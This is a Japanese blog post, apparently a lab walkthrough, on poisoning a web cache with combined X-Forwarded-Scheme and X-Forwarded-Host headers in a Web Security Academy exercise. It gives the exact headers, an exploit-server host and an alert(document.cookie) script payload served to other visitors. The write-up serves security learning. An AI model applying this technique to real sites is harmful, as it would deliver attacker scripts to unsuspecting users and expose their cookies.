Shikata Ga Nai

Private? There is no such things.

Web cache poisoning with multiple headersをやってみた

Hello there, ('ω')ノ

 

複数のヘッダーを使用したWebキャッシュポイズニングを。

 

一部のWebサイトは単純なキャッシュポイズニングに脆弱のようで。

ただし、高度な攻撃も必要だったりと。

複数のキーのない入力を操作するリクエストを作成できる場合にのみ脆弱になったり。

悪意のあるURLにリダイレクトするキャッシュ可能な応答を生成することもあって。

 

f:id:ThisIsOne:20210119084502p:plain

 

trackingのリクエストをRepeaterに送信して。

 

f:id:ThisIsOne:20210119084437p:plain

 

そのままSendするとレスポンスを見て、何も影響がなく。

 HTTP/1.1 200 OK

 

f:id:ThisIsOne:20210119085911p:plain

 

 

下記を追加してSendしても、レスポンスを見ると何も影響がなく。
 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119091426p:plain

 

下記に置き換えてSendすると。

 X-Forwarded-Scheme: example.com

 

HTTPS以外の値なので。

レスポンスがexample.comに対して、URLが一時的に変更されたという応答が。

 HTTP/1.1 302 Found

 

f:id:ThisIsOne:20210119092203p:plain

 

下記の2つを追加してSendして、レスポンスを見ると何も影響がなく。

 X-Forwarded-Scheme: example.com
 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210119092533p:plain

 

レスポンスから下記のURLをコピーして。

 /resources/js/tracking.js

 

f:id:ThisIsOne:20210119092802p:plain

 

Exploit Serverを起動して、コピーした内容をFileに。

Bodyには、下記のペイロードを。

 alert(document.cookie)

 

最後にStoreして。

 

f:id:ThisIsOne:20210119093153p:plain

 

Exploit ServerのURLをリクエストに入力して。

 X-Forwarded-Host: ac761f861f62c59280b5163b019700c6.web-security-academy.net

 

X-Cache: hitが表示されるまでSendして。

 

f:id:ThisIsOne:20210119093258p:plain

 

キャッシュが正常にポイズニングされて、ペイロードのスクリプトが表示されて。

 

f:id:ThisIsOne:20210119120511p:plain

 

リロードするとクリアできた。

 

f:id:ThisIsOne:20210119120550p:plain

 

Best regards, (^^ゞ